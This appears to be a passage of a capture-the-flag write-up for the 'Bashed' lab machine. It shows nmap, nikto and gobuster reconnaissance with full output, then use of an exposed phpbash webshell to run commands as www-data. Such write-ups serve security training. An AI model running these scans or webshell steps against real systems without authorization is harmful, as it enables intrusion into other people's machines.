1. ping 10.10.10.68

PING 10.10.10.68 (10.10.10.68) 56(84) bytes of data.

64 bytes from 10.10.10.68: icmp\_seq=9 ttl=63 time=236 ms

64 bytes from 10.10.10.68: icmp\_seq=10 ttl=63 time=258 ms

64 bytes from 10.10.10.68: icmp\_seq=11 ttl=63 time=276 ms

64 bytes from 10.10.10.68: icmp\_seq=12 ttl=63 time=197 ms

64 bytes from 10.10.10.68: icmp\_seq=13 ttl=63 time=212 ms

--- 10.10.10.68 ping statistics ---

13 packets transmitted, 5 received, 61.5385% packet loss, time 12199ms

rtt min/avg/max/mdev = 197.233/235.884/276.314/28.981 ms

Ttl 63 linux box.

1. nmap -A -Pn -p- 10.10.10.68 --min-rate 10000

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times will be slower.

Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-13 12:55 EDT

Warning: 10.10.10.68 giving up on port because retransmission cap hit (10).

Nmap scan report for 10.10.10.68

Host is up (0.19s latency).

Not shown: 64128 closed ports, 1406 filtered ports

PORT STATE SERVICE VERSION

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

|\_http-server-header: Apache/2.4.18 (Ubuntu)

|\_http-title: Arrexel's Development Site

No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).

TCP/IP fingerprint:

OS:SCAN(V=7.91%E=4%D=5/13%OT=80%CT=1%CU=38793%PV=Y%DS=2%DC=T%G=Y%TM=609D5A3

OS:8%P=x86\_64-pc-linux-gnu)SEQ(SP=106%GCD=1%ISR=108%TI=Z%CI=I%II=I%TS=8)OPS

OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1

OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN

OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A

OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R

OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F

OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%

OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD

OS:=S)

Network Distance: 2 hops

TRACEROUTE (using port 587/tcp)

HOP RTT ADDRESS

1 193.51 ms 10.10.14.1

2 193.72 ms 10.10.10.68

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 57.13 seconds

1. nikto -host <http://10.10.10.68>

- Nikto v2.1.6

---------------------------------------------------------------------------

+ Target IP: 10.10.10.68

+ Target Hostname: 10.10.10.68

+ Target Port: 80

+ Start Time: 2021-05-13 13:06:23 (GMT-4)

---------------------------------------------------------------------------

+ Server: Apache/2.4.18 (Ubuntu)

+ The anti-clickjacking X-Frame-Options header is not present.

+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS

+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type

+ No CGI Directories found (use '-C all' to force check all possible dirs)

+ IP address found in the 'location' header. The IP is "127.0.1.1".

+ OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /images over HTTP/1.0. The value is "127.0.1.1".

+ Server may leak inodes via ETags, header found with file /, inode: 1e3f, size: 55f8bbac32f80, mtime: gzip

+ Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch.

+ Allowed HTTP Methods: GET, HEAD, POST, OPTIONS

+ /config.php: PHP Config file may contain database IDs and passwords.

+ OSVDB-3268: /css/: Directory indexing found.

+ OSVDB-3092: /css/: This might be interesting...

+ OSVDB-3268: /dev/: Directory indexing found.

+ OSVDB-3092: /dev/: This might be interesting...

+ OSVDB-3268: /php/: Directory indexing found.

+ OSVDB-3092: /php/: This might be interesting...

+ OSVDB-3268: /images/: Directory indexing found.

+ OSVDB-3233: /icons/README: Apache default file found.

1. gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u <http://10.10.10.68>

===============================================================

Gobuster v3.0.1

by OJ Reeves (@TheColonial) & Christian Mehlmauer (@\_FireFart\_)

===============================================================

[+] Url: http://10.10.10.68

[+] Threads: 10

[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt

[+] Status codes: 200,204,301,302,307,401,403

[+] User Agent: gobuster/3.0.1

[+] Timeout: 10s

===============================================================

2021/05/13 13:07:02 Starting gobuster

===============================================================

/images (Status: 301)

/uploads (Status: 301)

/php (Status: 301)

/css (Status: 301)

/dev (Status: 301)

/js (Status: 301)

/fonts (Status: 301)

Progress: 43543 / 220561 (19.74%)^C

[!] Keyboard interrupt detected, terminating.

===============================================================

2021/05/13 13:24:14 Finished

1. In browser open url <http://10.10.10.68/dev/phpbash.php> the php webshell is opened.

www-data@bashed

:/var/www/html/dev# whoami

www-data

www-data@bashed

:/var/www/html/dev# ls

phpbash.min.php

phpbash.php

www-data@bashed

:/var/www/html/dev# ifconfig

ens33 Link encap:Ethernet HWaddr 00:50:56:b9:16:46

inet addr:10.10.10.68 Bcast:10.10.10.255 Mask:255.255.255.255

inet6 addr: fe80::250:56ff:feb9:1646/64 Scope:Link

inet6 addr: dead:beef::250:56ff:feb9:1646/64 Scope:Global

UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1

RX packets:112854 errors:0 dropped:23 overruns:0 frame:0

TX packets:112019 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1000

RX bytes:11642722 (11.6 MB) TX bytes:29136169 (29.1 MB)

lo Link encap:Local Loopback

inet addr:127.0.0.1 Mask:255.0.0.0

inet6 addr: ::1/128 Scope:Host

UP LOOPBACK RUNNING MTU:65536 Metric:1

RX packets:9504 errors:0 dropped:0 overruns:0 frame:0

TX packets:9504 errors:0 dropped:0 overruns:0 carrier:0

collisions:0 txqueuelen:1

RX bytes:704896 (704.8 KB) TX bytes:704896 (704.8 KB)